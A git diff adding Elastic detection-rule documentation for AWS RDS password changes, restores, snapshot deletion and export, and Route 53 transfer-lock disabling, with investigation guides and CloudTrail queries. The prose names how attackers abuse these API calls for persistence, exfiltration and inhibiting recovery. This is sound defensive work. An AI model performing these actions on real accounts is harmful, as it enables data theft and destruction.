b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-or-cluster-password-modified.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-20-aws-rds-db-instance-or-cluster-password-modified]] +=== AWS RDS DB Instance or Cluster Password Modified + +Identifies the modification of the master password for an AWS RDS DB instance or cluster. Changing the master password is a legitimate recovery action when access is lost, but adversaries with sufficient permissions may modify it to regain access, establish persistence, bypass existing controls, or escalate privileges within a compromised environment. Because RDS does not expose the password in API responses, this operation can meaningfully alter access pathways to sensitive data stores. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBInstance.html +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.DBInstance.Modifying.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc#rds-modifydbinstance + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Defense Evasion + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance or Cluster Password Modified* + + +The RDS master user password controls privileged access to a database instance or cluster. Modifying it can immediately shift access from one operator to another, break application functionality, or allow an adversary to regain control over a compromised DB instance. Because RDS never returns the password via API, this operation is a strong signal of intentional access reconfiguration. + +This rule detects successful password-modification events via `ModifyDBInstance` or `ModifyDBCluster`. Such changes may indicate credential loss recovery—or malicious actions related to persistence, privilege escalation, or defense evasion. + + +*Possible investigation steps* + + +- **Identify the actor and execution context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Inspect `user.name`, `source.ip`, and `user_agent.original` to determine whether the modification originated from expected networks, automation roles, or unusual sources. + +- **Determine what was modified** + - Examine `aws.cloudtrail.request_parameters` to identify: + - The DB instance or cluster identifier. + - Whether other parameters were modified in the same call (e.g., `manageMasterUserPassword`, engine version, instance class, parameter group). + - Review instance metadata in AWS to understand the sensitivity level, environment (prod/stage/dev), and potential business impact. + +- **Reconstruct timing and associated actions** + - Use `@timestamp` to compare the event against: + - Recent configuration changes such as `ModifyDBInstance`, `ModifyDBCluster`, or networking/security group updates. + - Other access-related operations (e.g., `AddRoleToDBInstance`, changes to Secrets Manager associations, disabling deletion protection). + - Check for signs of credential misuse leading up to the event (e.g., `DescribeDBInstances`, `GetCallerIdentity`, unauthorized console logins). + +- **Correlate with broader activity** + - Pivot in CloudTrail using the same access key, principal ARN, or source IP. + - Look for: + - Privilege-escalating or persistence-related behavior (IAM policy changes, role modifications, STS session creation). + - Subsequent DB-impacting operations, such as snapshot deletion, backup retention changes, or cluster deletion. + - Evidence of data access anomalies (backup exports, data snapshot copies, cross-region actions). + +- **Validate intent with operational owners** + - Confirm with DBAs, platform engineers, and application owners whether the password change: + - Was requested or scheduled. + - Aligns with pending migrations, credential rotations, or recovery actions. + - If not recognized, treat this as a high-risk event requiring deeper containment. + + +*False positive analysis* + + +- **Recovery or maintenance tasks** + - Password resets occur during lost-credential scenarios or planned rotations. Confirm if this aligns with a documented workflow. +- **Secrets Manager integration changes** + - When `manageMasterUserPassword` is toggled or Secrets Manager rotates passwords, a modification event may occur. Validate whether an automation pipeline triggered the change. +- **Non-production workloads** + - Development or staging environments may see frequent password resets. Consider tuning exceptions based on tags, instance identifiers, or IAM roles tied to automation. + + +*Response and remediation* + + +- **Contain unauthorized access** + - If activity is suspicious: + - Immediately rotate the master password again using a secure, validated workflow. + - Verify whether Secrets Manager integration was disabled (`manageMasterUserPassword=false`) and restore it if necessary. + - Restrict inbound DB access by tightening associated security group rules or isolating the instance temporarily. + +- **Investigate surrounding activity** + - Review CloudTrail to identify: + - Who accessed the instance after the password change. + - Whether any destructive or data-exfiltrating RDS actions occurred. + - Other IAM or STS activity tied to the same user or session. + +- **Restore guardrails and enhance monitoring** + - Ensure deletion protection, backup retention, and networking controls are correctly configured. + - Add real-time alerts for password-related modifications and high-risk RDS API actions. + +- **Strengthen IAM and operational controls** + - Limit permissions for `rds:ModifyDBInstance` and `rds:ModifyDBCluster`, especially when modifying authentication parameters. + - Require MFA and role-based access for DB administrators. + - Tighten SCPs or Config rules to restrict unauthorized DB configuration changes. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.action in ("ModifyDBInstance", "ModifyDBCluster") + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "masterUserPassword=*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-restored.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-restored.asciidoc new file mode 100644 index 0000000000..4539bc5af9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-restored.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-20-aws-rds-db-instance-restored]] +=== AWS RDS DB Instance Restored + +Identifies the restoration of an AWS RDS database instance from a snapshot or S3 backup. Adversaries with access to valid credentials may restore copies of existing databases to bypass logging and monitoring controls or to exfiltrate sensitive data from a duplicated environment. This rule detects successful restoration operations using "RestoreDBInstanceFromDBSnapshot" or "RestoreDBInstanceFromS3", which may indicate unauthorized data access or post-compromise defense evasion. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_RestoreDBInstanceFromDBSnapshot.html +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_RestoreDBInstanceFromS3.html +* https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/rds__explore_snapshots/main.py +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation#rds-createdbsnapshot-rds-restoredbinstancefromdbsnapshot-rds-modifydbinstance + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Use Case: Asset Visibility +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Austin Songer +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance Restored* + + +Restoring an RDS DB instance from a snapshot or from S3 is a powerful operation that recreates a full database environment. While legitimate for recovery, migrations, or cloning, adversaries may use restore actions to access historical data, duplicate sensitive environments, evade guardrails, or prepare for data exfiltration. + +This rule detects successful invocation of `RestoreDBInstanceFromDBSnapshot` and `RestoreDBInstanceFromS3`, both of which may indicate attempts to rehydrate old datasets, bypass deletion protection, or establish a shadow environment for further malicious actions. + + +*Possible investigation steps* + + +- **Identify the actor and execution context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id`. + - Check `user.name`, `source.ip`, and `user_agent.original` to determine how the restore was executed (console, CLI, automation, SDK). + +- **Understand what was restored and why** + - Inspect `aws.cloudtrail.request_parameters` to identify: + - Snapshot identifier or S3 location used as the restore source. + - The new DB instance identifier and configuration parameters. + - Determine: + - Whether the snapshot/backup used for the restore contains sensitive or high-value data. + - Whether this restore created a publicly accessible instance, changed security groups, or used unusual storage/instance classes. + +- **Reconstruct the activity flow** + - Use `@timestamp` to correlate the restore event with: + - Snapshot creation, copy, or export events. + - IAM policy changes or privilege escalations. + - Deletion or modification of the original database. + - Other RDS lifecycle actions such as `ModifyDBInstance`, `DeleteDBInstance`, or backup configuration changes. + - Look for signs of attacker staging: + - Prior enumeration activity (`DescribeDBSnapshots`, `DescribeDBInstances`). + - Recent logins from unusual IPs or federated sessions without MFA. + +- **Correlate with broader behavior** + - Pivot in CloudTrail on: + - The same snapshot identifier. + - The same actor or access key ID. + - The newly created DB instance identifier. + - Examine: + - Whether the restored DB was modified immediately after (e.g., security groups opened, deletion protection disabled). + - Whether there were large-volume read operations or export actions following the restore. + - Whether the restore is part of a pattern of parallel suspicious activity (snapshot copying, S3 backups, cross-account actions). + +- **Validate intent with owners** + - Confirm with the application/database/platform teams: + - Whether the restore was requested or part of an authorized operational workflow. + - Whether this restore corresponds to migration, testing, DR drill, or another planned activity. + - Whether the restored environment should exist (and for how long). + + +*False positive analysis* + + +- **Legitimate maintenance and DR workflows** + - Many teams restore databases for patch testing, DR validation, schema testing, or migration. +- **Automated restore workflows** + - CI/CD pipelines or internal automation may restore DBs to generate staging or dev environments. +- **Third-party tooling** + - Backup/DR solutions, migration tools, or observability platforms may restore DB instances for operational reasons. Tune based on `user_agent.original` or known service roles. + + +*Response and remediation* + + +- **Contain the restored environment** + - If unauthorized: + - Apply restrictive security groups to block access. + - Disable public accessibility if enabled. + - Evaluate whether deletion protection or backup retention is misconfigured. + +- **Assess data exposure and intent** + - Work with data owners to evaluate: + - The sensitivity of the restored environment. + - Whether any reads, dumps, or exports occurred post-restore. + - Whether the restore enabled the attacker to access older or deleted data. + +- **Investigate scope and related activity** + - Review CloudTrail for: + - Additional restores, exports, or copies. + - IAM changes allowing expanded privileges. + - Unusual authentication events or federated sessions without MFA. + - Related destructive actions (snapshot deletion, backup disabled, instance deletion). + +- **Hardening and preventive controls** + - Enforce least privilege for `rds:RestoreDBInstanceFromDBSnapshot` and `rds:RestoreDBInstanceFromS3`. + - Use IAM conditions to restrict restore actions by network, principal, or region. + - Add AWS Config and Security Hub controls for monitoring: + - Unapproved restores. + - Public or misconfigured restored instances. + - Consider SCPs that prevent RDS restores in production accounts except through controlled roles. + +- **Post-incident improvements** + - Rotate credentials for affected IAM users/roles. + - Update change management processes to ensure restore actions are tracked and approved. + - Adjust rule exceptions sparingly and ensure high-risk restores continue to generate alerts. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "rds.amazonaws.com" + and event.action: ("RestoreDBInstanceFromDBSnapshot" or "RestoreDBInstanceFromS3") + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Create Cloud Instance +** ID: T1578.002 +** Reference URL: https://attack.mitre.org/techniques/T1578/002/ +* Sub-technique: +** Name: Revert Cloud Instance +** ID: T1578.004 +** Reference URL: https://attack.mitre.org/techniques/T1578/004/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Remote Data Staging +** ID: T1074.002 +** Reference URL: https://attack.mitre.org/techniques/T1074/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-snapshot-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-snapshot-deleted.asciidoc new file mode 100644 index 0000000000..ba79dc2cbb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-snapshot-deleted.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-20-aws-rds-snapshot-deleted]] +=== AWS RDS Snapshot Deleted + +Identifies the deletion of an AWS RDS DB snapshot or configuration changes that effectively remove backup coverage for a DB instance. RDS snapshots contain full backups of database instances, and disabling automated backups by setting "backupRetentionPeriod=0" has a similar impact by preventing future restore points. Adversaries with the appropriate permissions may delete snapshots or disable backups to inhibit recovery, destroy forensic evidence, or prepare for follow-on destructive actions such as instance or cluster deletion. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_DeleteSnapshot.html +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBSnapshot.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Use Case: Asset Visibility +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS Snapshot Deleted* + + +AWS RDS snapshots (manual or automated) and backup retention settings are core to database recovery and incident response. Deleting snapshots or disabling automated backups (`backupRetentionPeriod=0`) can prevent restoration to a known-good state and destroy forensic evidence of attacker actions. + +This rule detects successful snapshot deletions and configuration changes that disable automated backups. Activity that matches this pattern may indicate destructive actions, ransomware preparation, cleanup after data theft, or an operator misconfiguration that materially weakens recovery options. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to determine who performed the action. + - Check `user.name`, `source.ip`, and `user_agent.original` to understand where and how the change was made (console, CLI, SDK, automation). + +- **Determine what was affected** + - Inspect `aws.cloudtrail.request_parameters` to identify: + - The snapshot or cluster snapshot identifier (`DeleteDBSnapshot` / `DeleteDBClusterSnapshot`). + - The DB instance identifier and the new `backupRetentionPeriod` value for `ModifyDBInstance`. + - Map the snapshot/instance to: + - Application/owner team. + - Environment (prod, staging, dev). + - Data sensitivity or criticality. + +- **Reconstruct intent and timing** + - Use `@timestamp` to correlate the event with: + - Recent `ModifyDBInstance`, `ModifyDBCluster`, `DeleteDBInstance`, or `DeleteDBCluster` events. + - Other data-impacting changes (e.g., `deletionProtection=false`, security group changes, public accessibility, or RDS parameter modifications). + - Compare the timing against approved maintenance/change windows and deployment pipelines. + +- **Correlate with broader activity** + - In CloudTrail, pivot on: + - The same `aws.cloudtrail.user_identity.arn` or access key ID. + - The same DB instance/cluster identifiers. + - Look for: + - Suspicious reads or exports before deletion (`DescribeDBSnapshots`, `CopyDBSnapshot`, data export, or large `SELECT` / dump activity visible via other telemetry). + - Follow-on destructive actions (DB instance deletion, subnet/security group changes that isolate monitoring tools, or IAM policy changes). + - Verify whether other snapshots for the same instance or account were deleted in the same time window. + +- **Validate intent with owners** + - Confirm with the DB/application owner and platform/DBA teams whether: + - The snapshot deletion or backup change was requested and approved. + - There are parallel infrastructure changes (migrations, environment teardown, or cost-optimization tasks) that explain the activity. + + +*False positive analysis* + + +- **Planned lifecycle and cost optimization** + - Many environments routinely prune old snapshots or adjust backup retention for non-production workloads. + +- **Automated backup and housekeeping tools** + - Backup or housekeeping services may manage snapshots and retention. This rule already excludes typical `backup.amazonaws.com` events, but you should: + - Identify any additional in-house or third-party automation roles. + - Tune the rule with exceptions based on `user_agent.original`, `aws.cloudtrail.user_identity.arn`, or known service roles. + + +*Response and remediation* + + +- **Contain and restore protection** + - If activity appears unauthorized: + - Immediately review the affected DB instances and clusters and restore `backupRetentionPeriod` to an appropriate value. + - Verify that deletion protection and other guardrails are enabled where applicable. + - For snapshot deletions, assess: + - Whether alternate snapshots (manual or automated) are still available. + - Whether point-in-time recovery is still possible based on transaction logs and remaining backups. + +- **Investigate scope and impact** + - Use CloudTrail to: + - Enumerate all recent snapshot deletions and backup configuration changes by the same actor or from the same `source.ip`. + - Identify any subsequent `DeleteDBInstance`, `DeleteDBCluster`, or public exposure (`publiclyAccessible=true`) events. + - Engage the application and data owners to: + - Evaluate potential data loss, downtime impact, and regulatory implications. + - Determine if any sensitive or compliance-bound data may be unrecoverable. + +- **Hardening and preventive controls** + - Restrict RDS administration: + - Limit `rds:DeleteDBSnapshot`, `rds:DeleteDBClusterSnapshot`, and `rds:ModifyDBInstance` (especially backup and deletion-related parameters) to a small set of privileged roles. + - Use IAM conditions (e.g., `aws:PrincipalArn`, `aws:RequestedRegion`) to constrain where and by whom destructive actions can be performed. + - Add guardrails: + - Use AWS Config rules and/or Security Hub controls to detect: + - Instances with `backupRetentionPeriod=0`. + - Instances lacking deletion protection or cross-region/cross-AZ backup strategy. + - Consider SCPs in AWS Organizations to block or tightly control destructive RDS APIs in production accounts. + +- **Post-incident improvements** + - If malicious or unsafe behavior is confirmed: + - Rotate credentials for the involved principals and review STS session usage. + - Update runbooks and change management to explicitly track snapshot and backup policy changes. + - Refine this rule’s exceptions, tags, or severity to better align with your environment while preserving coverage for truly risky events. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +any where event.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.outcome == "success" + and ( + event.action in ("DeleteDBSnapshot", "DeleteDBClusterSnapshot") or + (event.action == "ModifyDBInstance" and stringContains(aws.cloudtrail.request_parameters, "backupRetentionPeriod=0")) + ) + and not ( + user_agent.original == "backup.amazonaws.com" + and source.address == "backup.amazonaws.com" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-snapshot-export.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-snapshot-export.asciidoc new file mode 100644 index 0000000000..b9f419c9d9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-snapshot-export.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-20-aws-rds-snapshot-export]] +=== AWS RDS Snapshot Export + +Identifies the export of a DB snapshot or DB cluster data to Amazon S3. Snapshot exports can be used for analytics or migration workflows, but adversaries may abuse them to exfiltrate sensitive data outside of RDS-managed storage. Exporting a snapshot creates a portable copy of the database contents, which, if performed without authorization, can indicate data theft, staging for exfiltration, or operator misconfiguration that exposes regulated information. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StartExportTask.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Use Case: Asset Visibility +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS Snapshot Export* + + +Exporting an RDS snapshot to Amazon S3 allows the full contents of a database to be written outside the managed +RDS service boundary. While legitimate for analytics or migration, this action can also be a mechanism for data +exfiltration. Because snapshot exports produce files that can be downloaded, shared, or accessed by other AWS principals, +unauthorized exports may indicate staging for data theft or attempts to bypass database access controls. + +This rule detects successful `StartExportTask` events. Activity of this type should be validated to ensure that only +authorized database, platform engineering, or analytics workflows initiated the export. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which principal initiated the export. + - Look at `source.ip`, `user.name`, and `user_agent.original` to understand where the export originated (console, CLI, SDK, automation). + - Check whether the principal has historically performed snapshot exports. + +- **Determine what was exported** + - Examine `aws.cloudtrail.request_parameters`: + - Snapshot identifier being exported. + - S3 bucket name and path. + - KMS key used (or absence of encryption). + - Map the snapshot and destination bucket to: + - Application/owner team. + - Environment (prod/staging/dev). + - Data classification (PII, PHI, PCI, internal). + +- **Reconstruct timing and surrounding context** + - Use `@timestamp` to correlate the export with: + - Recent RDS modifications (`ModifyDBInstance`, `ModifyDBCluster`), snapshot deletions, or retention changes. + - IAM role changes, access key issuance, or privilege escalation attempts. + - Unusual authentication patterns (e.g., successful logins from new locations, failed console logins). + - Check whether the export timing aligns with approved deployments or maintenance windows. + +- **Correlate with broader CloudTrail activity** + - Pivot on the same user, role, or access key ID to look for: + - Prior reconnaissance (e.g., `DescribeDBSnapshots`, `DescribeDBClusters`, `ListBuckets`). + - Permission changes (`PutRolePolicy`, `AttachUserPolicy`). + - Public exposure (e.g., S3 bucket ACL changes). + - Determine whether multiple snapshots were exported around the same time. + +- **Validate intent with stakeholders** + - Confirm with the database owner, analytics team, or platform engineering team whether: + - The export was planned and authorized. + - The target S3 bucket is approved for storing database contents. + - Encryption and access controls meet organizational policy. + + +*False positive analysis* + + +- **Authorized data analytics or ETL workflows** + - Many organizations export snapshots for reporting, ML pipelines, or external data processing. + - Validate that the export aligns with documented ETL or analytics processes. + +- **Automated snapshot export tools** + - Backup pipelines, cost optimization, or data replication systems may export snapshots. + - Tune the rule by excluding known IAM roles or automation user agents. + +- **CloudFormation or IaC triggers** + - Infrastructure-as-code pipelines may trigger snapshot exports as part of stack updates. + - Correlate with CloudFormation events to confirm legitimacy. + + +*Response and remediation* + + +- **Contain potential exfiltration** + - Review access to the destination S3 bucket and confirm that: + - Bucket is encrypted with the expected KMS key. + - Access is restricted to authorized principals. + - No unusual downloads or cross-account accesses occurred. + +- **Investigate scope and impact** + - Use CloudTrail to enumerate: + - All export tasks started by the same actor. + - Other snapshot or data-access API calls in the same time window. + - Validate whether sensitive or regulated data may have been included. + +- **Credential and access remediation** + - If activity appears unauthorized: + - Revoke or rotate compromised IAM credentials. + - Review STS session activity related to the actor. + - Inspect IAM role policies for privilege escalation. + +- **Hardening and preventive controls** + - Restrict the ability to call `StartExportTask` using: + - IAM least-privilege policies. + - Service Control Policies (SCPs) in production accounts. + - Conditional IAM (e.g., requiring MFA, restricting by VPC endpoint or IP range). + - Enable guardrails: + - AWS Config/Security Hub controls for monitoring snapshot policy changes. + - Alerts for exports to buckets outside approved accounts. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: aws.cloudtrail + and event.provider: rds.amazonaws.com + and event.action: StartExportTask + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Databases +** ID: T1213.006 +** Reference URL: https://attack.mitre.org/techniques/T1213/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-route-53-domain-transfer-lock-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-route-53-domain-transfer-lock-disabled.asciidoc new file mode 100644 index 0000000000..fff299250a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-route-53-domain-transfer-lock-disabled.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-aws-route-53-domain-transfer-lock-disabled]] +=== AWS Route 53 Domain Transfer Lock Disabled + +Identifies when the transfer lock on an AWS Route 53 domain is disabled. The transfer lock protects domains from being moved to another registrar or AWS account without authorization. Disabling this lock removes an important safeguard against domain hijacking. Adversaries who gain access to domain-management permissions may disable the lock as a precursor to unauthorized domain transfer, takeover, or service disruption. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Route 53 +* Use Case: Asset Visibility +* Tactic: Persistence +* Tactic: Resource Development +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Route 53 Domain Transfer Lock Disabled* + + +This rule detects when the `DisableDomainTransferLock` operation succeeds for a managed Route 53 domain. The transfer lock +prevents unauthorized domain transfers, and disabling it is an uncommon operation outside of planned migrations. Because +domains often underpin production workloads (web, API, authentication, email), unauthorized transfer lock changes may +indicate adversary preparation for domain hijacking or service disruption. + +This event should be treated with high urgency whenever it occurs unexpectedly. + + +*Possible investigation steps* + + +- **Review the actor** + - Examine `aws.cloudtrail.user_identity.arn` and `user_identity.access_key_id` to confirm who + initiated the change. Validate whether this identity normally performs domain-management tasks. + +- **Analyze the request context** + - Review `aws.cloudtrail.request_parameters` to identify which domain was affected. + - Confirm no corresponding `operation=TransferDomainToAnotherAwsAccount` or registrar-level modifications occurred + shortly before or after the lock was disabled. + - Note the timestamp and evaluate whether the change occurred during maintenance windows or outside business hours. + +- **Evaluate activity surrounding the lock disablement** + - Look for subsequent events such as modifications to contact details, attempted transfers, DNS record changes, or updates to hosted zones. Correlate with unusual IAM role usage, newly issued access keys, or anomalous login behavior. + +- **Validate intent with responsible teams** + - Confirm whether stakeholders (network operations, domain owners, infrastructure leads) initiated or approved the + transfer lock disablement. If unmanaged or unexpected, treat this as a potentially malicious action. + + +*False positive analysis* + + +- **Authorized transfer preparation** + - The most common legitimate case is preparation for a planned transfer of ownership or registrar migration. Ensure the + change aligns with a ticketed and approved operation. 